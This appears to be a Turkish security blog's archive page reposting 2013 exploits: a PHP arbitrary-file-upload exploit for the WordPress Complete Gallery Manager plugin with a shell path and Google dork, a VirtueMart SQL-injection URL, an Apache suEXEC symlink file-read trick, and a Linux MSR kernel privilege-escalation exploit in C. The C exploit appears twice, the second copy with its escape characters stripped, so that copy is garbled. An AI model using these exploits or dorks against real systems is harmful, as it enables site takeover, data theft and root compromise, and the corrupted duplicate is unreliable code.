Archive for Genel

WordPress Plugin Complete Gallery Manager 3.3.3 – Arbitrary File Upload Vulnerability

wordpress-vulnerabilityWordPress Plugin Complete Gallery Manager 3.3.3 – Arbitrary File Upload açığı bulunmuş olup, açık sayesinde Shell upload edilerek servere ulaşım sağlanmakta ve zararlı kodların çalışmasına neden olunabilmektedir. Açık bulucunun açık hakkındaki değerlendirmeleri ve php exploit aşağıdaki şekilde.

Title:
======
Wordpress Plugin Complete Gallery Manager 3.3.3 - Arbitrary File Upload Vulnerability
Date:
=====
2013-09-17
References:
===========
http://www.vulnerability-lab.com/get_content.php?id=1080
VL-ID:
=====
1080
Common Vulnerability Scoring System:
====================================
6.6
Introduction:
=============
Using Complete Gallery Manager will make it fun and fast to manage and create galleries for your website.
The plugin enables a wealth of functionality, but just because you can take advantage of its many features,
doesn’t mean you necessarily should. For each feature you implement you should consider the benefit for
your users. Don’t make the interface more complex than necessary. Less is more!

We have made it very easy for you to customize basically anything you can imagine. The Isotype Gallery has
188 different settings you can tweak and the Touch Slider has 146 different settings.

(Copy of the Vendor Homepage: http://codecanyon.net/item/complete-gallery-manager-for-wordpress/2418606 )
Abstract:
=========
An independent Vulnerability Laboratory Researcher discovered a arbitrary file upload vulnerability in the WordPress Complete Gallery Manager v3.3.3 plugin.
Report-Timeline:
================
2013-09-17:    Public Disclosure (Fuad Pilus)
Status:
========
Published
Affected Products:
==================
CodeCanyon
Product: Complete Gallery Manager 3.3.3
Exploitation-Technique:
=======================
Remote
Severity:
=========
High
Details:
========
A arbitrary file upload web vulnerability is detected in the CodeCanyon WordPress Plugin Complete Gallery Manager v3.3.3 Web-Application.
The vulnerability allows remote attackers to upload files via POST method with multiple extensions to unauthorized access them on
application-side of the service.

The vulnerability is located in the /plugins/complete-gallery-manager/frames/ path when processing to upload via the  upload-images.php
file own malicious context or webshells. After the upload the remote attacker can access the file with one extension and exchange it with the
other one to execute for example php codes.

Exploitation of the vulnerability requires no user interaction and also without privilege application user account (no password standard).
Successful exploitation of the vulnerability results in unauthorized path or file access via local file include or arbitrary file upload.

Vulnerable Application(s):
                                [+] CodeCanyon - Complete Gallery Manager

Vulnerable Module(s):
                                [+] Image File Upload

Vulnerable File(s):
                                [+] upload-images.php

Affected Module(s):
                                [+] Application Index Listing (http://localhost:8000/)

Proof of Concept:
=================
The arbitrary file upload web vulnerability can be exploited by remote attackers without user interaction or privileged application user account.
For demonstration or reproduce ...

Vuln page :
http://wordpress.localhost:8080/wordpress/wp-content/plugins/complete-gallery-manager/frames/upload-images.php

Exploit :

<?php
$uploadfile="up.php";
$ch = curl_init("http://wordpress.localhost:8080/wordpress/wp-content/plugins/complete-gallery-manager/frames/upload-images.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
        array('qqfile'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Upload Access Path : http://wordpress.localhost:8080/wp-content/2013/09/up.php

Google Dork: allinurl:/wp-content/plugins/complete-gallery-manager/

Reference(s):
http://xxx.com/wp-content/plugins/complete-gallery-manager/frames/upload-images.php
http://www.xxx.com/wp-content/plugins/complete-gallery-manager/frames/upload-images.php
http://xxx.org/wp-content/plugins/complete-gallery-manager/frames/upload-images.php

Risk:
=====
The security risk of the arbitrary file upload web vulnerability is estimated as high(+).

Credits:
========
Independent Vulnerability Researcher - Fuad Pilus ()
Greetz to : Code Newbie Team - Malaysia & Indonesia BlackHat
Byakuya | Cai | Lord Router | Ops Msia Bersatu | Clound | Agam | Encik Linux | X-Tuned and all official Code-Newbie Member

Disclaimer:
===========
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com           - www.vuln-lab.com                             - www.evolution-sec.com
Contact:             -                - 
Section:    www.vulnerability-lab.com/dev       - forum.vulnerability-db.com                   - magazine.vulnerability-db.com
Social:                  -                 - 
Feeds:      vulnerability-lab.com/rss/rss.php   - vulnerability-lab.com/rss/rss_upcoming.php   - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
modify, use or edit our material contact ( or ) to get a permission.

                                Copyright © 2013 | Vulnerability Laboratory [Evolution Security]

--
VULNERABILITY LABORATORY RESEARCH TEAM
DOMAIN: www.vulnerability-lab.com
CONTACT: 

Joomla! Com_VirtueMart Component 2.0.22a – SQL Injection

joomla-aciklariJoomla! VirtueMart Component 2.0.22a – Versiyanuna ait SQL Injection Açığı bulunmuş olup açığın oluşum yeri ve açıklamaları aşağıdaki şekildedir.

------------------------------------------------------------
Joomla! VirtueMart component <= 2.0.22a - SQL Injection
------------------------------------------------------------

== Description ==
- Software link: http://www.virtuemart.net/
- Affected versions: All versions between 2.0.8 and 2.0.22a are vulnerable.
- Vulnerability discovered by: Matias Fontanini

== Vulnerability ==
The vulnerability is located in the "user" controller, "removeAddressST"
task. The "virtuemart_userinfo_id" parameter is not properly sanitized
before being used in the "DELETE" query performed in it, allowing the
execution of arbitrary SQL queries.

In order to exploit the vulnerability, an attacker must be authenticated
as a customer in the application. However, since the system allows free
account registration, this is not a problem.

== Proof of concept ==
The following example URL uses the MySQL "sleep" function through the
injection:

http://example.com/index.php?option=com_virtuemart&view=user&task=removeAddressST&virtuemart_userinfo_id=16%22%20and%20sleep(10)%20and%20%22%22%3D%22

== Solution ==
Upgrade the product to the 2.0.22b version.

== Report timeline ==
[2013-08-15] Vulnerability reported to vendor.
[2013-08-16] Developers answered back.
[2013-08-22] VirtueMart 2.0.22b was released, which fixes the the
reported issue.
[2013-08-22] Public disclosure.

Apache suEXEC privilege elevation / information disclosure

Apache suEXEC privilege elevation / information disclosure açığı yayınlanmış olup açığı keşfeden Kingcope açık sayesinde symlink yapılabileceğinden bahsetmektedir.
Açığa ilişkin açıklamalar;

Apache suEXEC privilege elevation / information disclosure

Discovered by Kingcope/Aug 2013

The suEXEC feature provides Apache users the ability to run CGI and SSI programs
under user IDs different from the user ID of the calling web server. Normally,
when a CGI or SSI program executes, it runs as the same user who is running the
web server.
Used properly, this feature can reduce considerably the security risks involved
with allowing users to develop and run private CGI or SSI programs.

With this bug an attacker who is able to run php or cgi code inside a web
hosting environment and the environment is configured to use suEXEC as a
protection mechanism, he/she is able to read any file and directory on the file-
system of the UNIX/Linux system with the user and group id of the
apache web server.

Normally php and cgi scripts are not allowed to read files with the apache user-
id inside a suEXEC configured environment.

Take for example this apache owned file and the php script that follows.

$ ls -la /etc/testapache
-rw------- 1 www-data www-data 36 Aug  7 16:28 /etc/testapache
only user www-data should be able to read this file.

$ cat test.php
<?php
        system("id; cat /etc/testapache");
?>

When calling the php file using a webbrowser it will show...
uid=1002(example) gid=1002(example) groups=1002(example)

because the php script is run trough suEXEC.
The script will not output the file requested because of a permissions error.

Now if we create a .htaccess file with the content...
Options Indexes FollowSymLinks

and a php script with the content...

<?php
        system("ln -sf / test99.php");
        symlink("/", "test99.php"); // try builtin function in case when
                                    //system() is blocked
?>
in the same folder

..we can access the root filesystem with the apache uid,gid by
requesting test99.php.
The above php script will simply create a symbolic link to '/'.

A request to test99.php/etc/testapache done with a web browser shows..
voila! read with the apache uid/gid

The reason we can now read out any files and traverse directories owned by the
apache user is because apache httpd displays symlinks and directory listings
without querying suEXEC.
It is not possible to write to files in this case.

Version notes. Assumed is that all Apache versions are affected by this bug.

apache2 -V
Server version: Apache/2.2.22 (Debian)
Server built:   Mar  4 2013 21:32:32
Server's Module Magic Number: 20051115:30
Server loaded:  APR 1.4.6, APR-Util 1.4.1
Compiled using: APR 1.4.6, APR-Util 1.4.1
Architecture:   32-bit
Server MPM:     Worker
  threaded:     yes (fixed thread count)
    forked:     yes (variable process count)
Server compiled with....
 -D APACHE_MPM_DIR="server/mpm/worker"
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_SYSVSEM_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=128
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"

Cheers,
/Kingcope

Linux Kernel ‘MSR’ Driver Local Privilege Escalation Exploit

Linux Kernel ‘MSR’ Driver Local Privilege Escalation Local Expploit
Spender tarafından /dev/pu/*/msn 32 ve 64 bit hostlarda bulunan Linux Kernel açığına ilişkin derlenmemiş exploit aşağıda olup, bu exploit sayesinde bir takım yetkiler alınabilmekte.

// PoC exploit for /dev/cpu/*/msr, 32bit userland on a 64bit host
// can do whatever in the commented area, re-enable module support, etc
// requires CONFIG_X86_MSR and just uid 0
// a small race exists between the time when the MSR is written to the first 
// time and when we issue our sysenter
// we additionally require CAP_SYS_NICE to make the race win nearly guaranteed
// configured to take a hex arg of a dword pointer to set to 0
// (modules_disabled, selinux_enforcing, take your pick)
//
// Hello to Red Hat, who has shown yet again to not care until a 
// public exploit is released.  Not even a bugtraq entry existed in 
// their system until this was published -- and they have a paid team
// of how many?
// It's not as if I didn't mention the problem and existence of an easy 
// exploit multiple times prior:
//
// spender 2013

#define _GNU_SOURCE
#include <stdio.h>
#include <sched.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/mman.h>

#define SYSENTER_EIP_MSR 0x176

u_int64_t msr;

unsigned long ourstack[65536];

u_int64_t payload_data[16];

extern void *_ring0;
extern void *_ring0_end;

void ring0(void)
{
__asm volatile(".globl _ring0\n"
        "_ring0:\n"
        ".intel_syntax noprefix\n"
        ".code64\n"
        // set up stack pointer with 'ourstack'
        "mov esp, ecx\n"
        // save registers, contains the original MSR value
        "push rax\n"
        "push rbx\n"
        "push rcx\n"
        "push rdx\n"
        // play with the kernel here with interrupts disabled!
        "mov rcx, qword ptr [rbx+8]\n"
        "test rcx, rcx\n"
        "jz skip_write\n"
        "mov dword ptr [rcx], 0\n"
        "skip_write:\n"
        // restore MSR value before returning
        "mov ecx, 0x176\n" // SYSENTER_EIP_MSR
        "mov eax, dword ptr [rbx]\n"
        "mov edx, dword ptr [rbx+4]\n"
        "wrmsr\n"
        "pop rdx\n"
        "pop rcx\n"
        "pop rbx\n"
        "pop rax\n"
        "sti\n"
        "sysexit\n"
        ".code32\n"
        ".att_syntax prefix\n"
        ".global _ring0_end\n"
        "_ring0_end:\n"
        );
}

unsigned long saved_stack;

int main(int argc, char *argv[])
{
        cpu_set_t set;
        int msr_fd;
        int ret;
        u_int64_t new_msr;
        struct sched_param sched;
        u_int64_t resolved_addr = 0ULL;

        if (argc == 2)
                resolved_addr = strtoull(argv[1], NULL, 16);

        /* can do this without privilege */
        mlock(_ring0, (unsigned long)_ring0_end - (unsigned long)_ring0);
        mlock(&payload_data, sizeof(payload_data));

        CPU_ZERO(&set);
        CPU_SET(0, &set);

        sched.sched_priority = 99;

        ret = sched_setscheduler(0, SCHED_FIFO, &sched);
        if (ret) {
                fprintf(stderr, "Unable to set priority.\n");
                exit(1);
        }

        ret = sched_setaffinity(0, sizeof(cpu_set_t), &set);
        if (ret) {
                fprintf(stderr, "Unable to set affinity.\n");
                exit(1);
        }

        msr_fd = open("/dev/cpu/0/msr", O_RDWR);
        if (msr_fd < 0) {
                msr_fd = open("/dev/msr0", O_RDWR);
                if (msr_fd < 0) {
                        fprintf(stderr, "Unable to open /dev/cpu/0/msr\n");
                        exit(1);
                }
        }
        lseek(msr_fd, SYSENTER_EIP_MSR, SEEK_SET);
        ret = read(msr_fd, &msr, sizeof(msr));
        if (ret != sizeof(msr)) {
                fprintf(stderr, "Unable to read /dev/cpu/0/msr\n");
                exit(1);
        }

        // stuff some addresses in a buffer whose address we
        // pass to the "kernel" via register
        payload_data[0] = msr;
        payload_data[1] = resolved_addr;

        printf("Old SYSENTER_EIP_MSR = %016llx\n", msr);
        fflush(stdout);

        lseek(msr_fd, SYSENTER_EIP_MSR, SEEK_SET);
        new_msr = (u_int64_t)(unsigned long)&_ring0;

        printf("New SYSENTER_EIP_MSR = %016llx\n", new_msr);
        fflush(stdout);

        ret = write(msr_fd, &new_msr, sizeof(new_msr));
        if (ret != sizeof(new_msr)) {
                fprintf(stderr, "Unable to modify /dev/cpu/0/msr\n");
                exit(1);
        }

        __asm volatile(
                ".intel_syntax noprefix\n"
                ".code32\n"
                "mov saved_stack, esp\n"
                "lea ecx, ourstack\n"
                "lea edx, label2\n"
                "lea ebx, payload_data\n"
                "sysenter\n"
                "label2:\n"
                "mov esp, saved_stack\n"
                ".att_syntax prefix\n"
        );

        printf("Success.\n");
        
        return 0;
}

Linux Kernel 'MSR' Driver Local Privilege Escalation Exploit

Linux Kernel ‘MSR’ Driver Local Privilege Escalation Local Expploit
Spender tarafından /dev/pu/*/msn 32 ve 64 bit hostlarda bulunan Linux Kernel açığına ilişkin derlenmemiş exploit aşağıda olup, bu exploit sayesinde bir takım yetkiler alınabilmekte.

// PoC exploit for /dev/cpu/*/msr, 32bit userland on a 64bit host
// can do whatever in the commented area, re-enable module support, etc
// requires CONFIG_X86_MSR and just uid 0
// a small race exists between the time when the MSR is written to the first
// time and when we issue our sysenter
// we additionally require CAP_SYS_NICE to make the race win nearly guaranteed
// configured to take a hex arg of a dword pointer to set to 0
// (modules_disabled, selinux_enforcing, take your pick)
//
// Hello to Red Hat, who has shown yet again to not care until a
// public exploit is released.  Not even a bugtraq entry existed in
// their system until this was published -- and they have a paid team
// of how many?
// It's not as if I didn't mention the problem and existence of an easy
// exploit multiple times prior:
//
// spender 2013

#define _GNU_SOURCE
#include <stdio.h>
#include <sched.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/mman.h>

#define SYSENTER_EIP_MSR 0x176

u_int64_t msr;

unsigned long ourstack[65536];

u_int64_t payload_data[16];

extern void *_ring0;
extern void *_ring0_end;

void ring0(void)
{
__asm volatile(".globl _ring0n"
        "_ring0:n"
        ".intel_syntax noprefixn"
        ".code64n"
        // set up stack pointer with 'ourstack'
        "mov esp, ecxn"
        // save registers, contains the original MSR value
        "push raxn"
        "push rbxn"
        "push rcxn"
        "push rdxn"
        // play with the kernel here with interrupts disabled!
        "mov rcx, qword ptr [rbx+8]n"
        "test rcx, rcxn"
        "jz skip_writen"
        "mov dword ptr [rcx], 0n"
        "skip_write:n"
        // restore MSR value before returning
        "mov ecx, 0x176n" // SYSENTER_EIP_MSR
        "mov eax, dword ptr [rbx]n"
        "mov edx, dword ptr [rbx+4]n"
        "wrmsrn"
        "pop rdxn"
        "pop rcxn"
        "pop rbxn"
        "pop raxn"
        "stin"
        "sysexitn"
        ".code32n"
        ".att_syntax prefixn"
        ".global _ring0_endn"
        "_ring0_end:n"
        );
}

unsigned long saved_stack;

int main(int argc, char *argv[])
{
        cpu_set_t set;
        int msr_fd;
        int ret;
        u_int64_t new_msr;
        struct sched_param sched;
        u_int64_t resolved_addr = 0ULL;

        if (argc == 2)
                resolved_addr = strtoull(argv[1], NULL, 16);

        /* can do this without privilege */
        mlock(_ring0, (unsigned long)_ring0_end - (unsigned long)_ring0);
        mlock(&payload_data, sizeof(payload_data));

        CPU_ZERO(&set);
        CPU_SET(0, &set);

        sched.sched_priority = 99;

        ret = sched_setscheduler(0, SCHED_FIFO, &sched);
        if (ret) {
                fprintf(stderr, "Unable to set priority.n");
                exit(1);
        }

        ret = sched_setaffinity(0, sizeof(cpu_set_t), &set);
        if (ret) {
                fprintf(stderr, "Unable to set affinity.n");
                exit(1);
        }

        msr_fd = open("/dev/cpu/0/msr", O_RDWR);
        if (msr_fd < 0) {
                msr_fd = open("/dev/msr0", O_RDWR);
                if (msr_fd < 0) {
                        fprintf(stderr, "Unable to open /dev/cpu/0/msrn");
                        exit(1);
                }
        }
        lseek(msr_fd, SYSENTER_EIP_MSR, SEEK_SET);
        ret = read(msr_fd, &msr, sizeof(msr));
        if (ret != sizeof(msr)) {
                fprintf(stderr, "Unable to read /dev/cpu/0/msrn");
                exit(1);
        }

        // stuff some addresses in a buffer whose address we
        // pass to the "kernel" via register
        payload_data[0] = msr;
        payload_data[1] = resolved_addr;

        printf("Old SYSENTER_EIP_MSR = %016llxn", msr);
        fflush(stdout);

        lseek(msr_fd, SYSENTER_EIP_MSR, SEEK_SET);
        new_msr = (u_int64_t)(unsigned long)&_ring0;

        printf("New SYSENTER_EIP_MSR = %016llxn", new_msr);
        fflush(stdout);

        ret = write(msr_fd, &new_msr, sizeof(new_msr));
        if (ret != sizeof(new_msr)) {
                fprintf(stderr, "Unable to modify /dev/cpu/0/msrn");
                exit(1);
        }

        __asm volatile(
                ".intel_syntax noprefixn"
                ".code32n"
                "mov saved_stack, espn"
                "lea ecx, ourstackn"
                "lea edx, label2n"
                "lea ebx, payload_datan"
                "sysentern"
                "label2:n"
                "mov esp, saved_stackn"
                ".att_syntax prefixn"
        );

        printf("Success.n");

        return 0;
}